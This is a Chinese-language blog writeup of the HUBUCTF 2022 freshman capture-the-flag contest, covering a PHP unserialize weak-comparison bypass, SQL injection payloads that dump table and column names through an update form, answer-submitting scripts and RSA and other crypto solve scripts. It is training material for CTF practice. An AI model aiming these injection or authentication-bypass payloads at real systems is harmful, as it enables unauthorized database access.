HUBUCTF 2022新生赛Writeup

既然是母校,那一定要好好对待~    2024-01-13 22:42:34


Web [HUBUCTF 2022 新生赛]checkin

题目链接:checkin

原题

 <?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>
username or password error!

一道字符串反序列化的题,相关构造就可以。

<?php

$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?>
本来信心满满,但是又被现实击垮。还是不行。原题所改变了值。结合下面的弱比较,如果改完的字符串没有以数字开头就可以用0弱比较绕过。
把脚本的两个参数改成数字0既可以绕过。
得到flag:NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}

Web [HUBUCTF 2022 新生赛]ezsql

原题链接:easysql

经过测试admin" or 1=1--+注册后,可以直接进去,但是翻遍了没有一点信息,应该是覆盖了原来的信息,目录遍历一下吧。

看到了www.tar.gz,源码泄露

好多源码,代码审计!

查看update.php,

$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

我们只要在中间加上password=***,token置空,就能更改password了。

改完还是不行,估计密码不是明文存储。这个输入点还可以直接使用sql语句,注意我的问题,这么写肯定是错的。

foreach($_POST as $key=>$value){
    $_POST[$key]=addslashes($value);
} update.php中也有这句话,它将双引号单引号都过滤了。注入点为什么在age呢,因为age必须是整数,那么他就可能将是双引号去掉了!。

得到数据库名demo2

nickname=(select 1)&age=(select 1),description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&token=4b29f27a4354d745055045c0c7c97891

得到表名:user.注意每次的sessionid都不一样,不能重放。

nickname=1&age=(select 1),description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&token=3e9be9bb4eb8225f70379a9c57cd83b5

之后用表名查列名,但是我不知道表名为什么非要用16进制,就像下面的图一样,总之,最后然后获取密码,重开环境。


Web [HUBUCTF 2022 新生赛]Calculate

意思很明显,编写脚本。先抓个包,cookie是必须带的

参考https://blog.csdn.net/Jayjay___/article/details/134805314,    个人进行了改进。

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月18日
"""
import requests
import time
import re

url = 'http://node5.anna.nssctf.cn:28169/'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。

for i in range(1, 21):
    print(f"正在执行第{i}次------")
    math = ""

    response = res.get(url)   #发get包,获取题目

    resTest = response.text            #获取返回包的内容
    li=re.findall(">([0-9*/+-])<",resTest)
    math="".join(li)
    print(math)
    num = eval(math)       #计算数学表达式的值

    myData = {   #构造的POST数据
        'ans': num
    }
    time.sleep(1)  # 睡一秒
    response = res.post(url, data=myData) #发post包,提交答案

    if "NSSCTF{" in response.text:       #如果返回包里面有flag
        print("Flaggggggggg: ", response.text)
        exit() # 退出当前程序,也可以break

Crypto [HUBUCTF 2022 新生赛]RSAaaa

就你小子是黑客?
我忘记怎么解密了!
靠你了,大黑阔!

(536970330703, 65537)
message: 473878130775 40132555282 40132555282 94619939727 72818765591 208015808884 42561234694 159353248388 27748063975 159353248388 159353248388 278953790403 410746718603 496849210942 27748063975 142521857906 103632267191 17774494147 328684046745 278953790403 129956887006 129956887006 366275425558 328684046745 142521857906 410746718603 142521857906 129956887006 379067009467 328684046745 159353248388 366275425558 129956887006 103632267191 27748063975 27748063975 17774494147 160623996897 278953790403 182341799525

536970330703利用yafu工具直接分解

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月28日
"""
from Crypto.Util.number import *
p = 992623
q = 540961
n=p*q;phi=(p-1)*(q-1)
e=65537
s=[473878130775,40132555282,40132555282,94619939727,72818765591,208015808884,42561234694,159353248388,27748063975,159353248388,159353248388,278953790403,410746718603,496849210942,27748063975,142521857906,103632267191,17774494147,328684046745,278953790403,129956887006,129956887006,366275425558,328684046745,142521857906,410746718603,142521857906,129956887006,379067009467,328684046745,159353248388,366275425558,129956887006,103632267191,27748063975,27748063975,17774494147,160623996897,278953790403,182341799525]
d=inverse(e,phi)
for i in s:
    m=pow(i,d,n)
    print(str(long_to_bytes(m))[2:3],end="")

直接分解。


Crypto [HUBUCTF 2022 新生赛]baby_encrypt

加法?一眼破解!781612443113954655886887407898899451044114412011257135914071455155316031651170318041861191719652013207021272183228423832485254125932643269827992924

原题很简短。

看一看吧!

分解一下,78 161 244 311 395 465 588 688 740 789 889 945 1044 1144 1201 1257 1359 1407 1455 1553 1603 1651 1703 1804 1861 1917 1965 2013 2070 2127 2183 2284 2383 2485 2541 2593 2643 2698 2799 2924。发现越来越大。前后相减。再转ascii码。

from Crypto.Util.number import *
s=[0,78,161,244,311,395,465,588,688,740,789,889,945,1044,1144,1201,1257,1359,1407,1455,1553,1603,1651,1703,1804,1861,1917,1965,2013,2070,2127,2183,2284,2383,2485,2541,2593,2643,2698,2799,2924]
for i in range(len(s)-1):
    print(chr(s[i+1]-s[i]),end="")

 得到flag:NSSCTF{d41d8cd98f00b204e9800998ecf8427e}


Crypto [HUBUCTF 2022 新生赛]ezMath

ping一下得到公网ip

多写脚本尝试尝试自然就做出来了!

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月28日
"""
from pwn import *
from string import *
table=string.ascii_lowercase+string.digits+string.ascii_uppercase
from itertools import *
import hashlib
import re
# 连接到目标主机的指定端口
sh=remote('118.195.175.220',28322)
info=str(sh.recvline())[2:-3]
print(info)
res=re.findall("(\w+)",info)
#['sha256', 'XXXX', 'sQdrruL074Fbwrz4', 'f8d19728ef14b0ac34fd0e0609e44acd60b6f574b27abded3f8d92f4d083bc2e']
print(res)
# print(sh.recvuntil(b'[+] Plz Tell Me XXXX :[-]'))
for var in product(table,repeat=4):
    test="".join(var)
    if hashlib.sha256((test+res[2]).encode()).hexdigest()==res[3]:
        print("找到了!:")
        print(test)
        sh.sendlineafter(b'Plz Tell Me XXXX :', test.encode())
while True:
    print(sh.recvline())
    res=str(sh.recvline())
    print(res[2:-1])
    s=res.split(" ")[1]
    result=eval(s)
    sh.send(str(result).encode())

得到flag:NSSCTF{7275fd11-6b5e-4a52-aaac-a64907bc0c7f}


Crypto [HUBUCTF 2022 新生赛]RC6

RC6直接用工具吧

第二个是fer.vip.

md5提交后成功!

 

 

posted @ 2024-01-13 23:00  AllFalls  阅读(431)  评论(0编辑  收藏  举报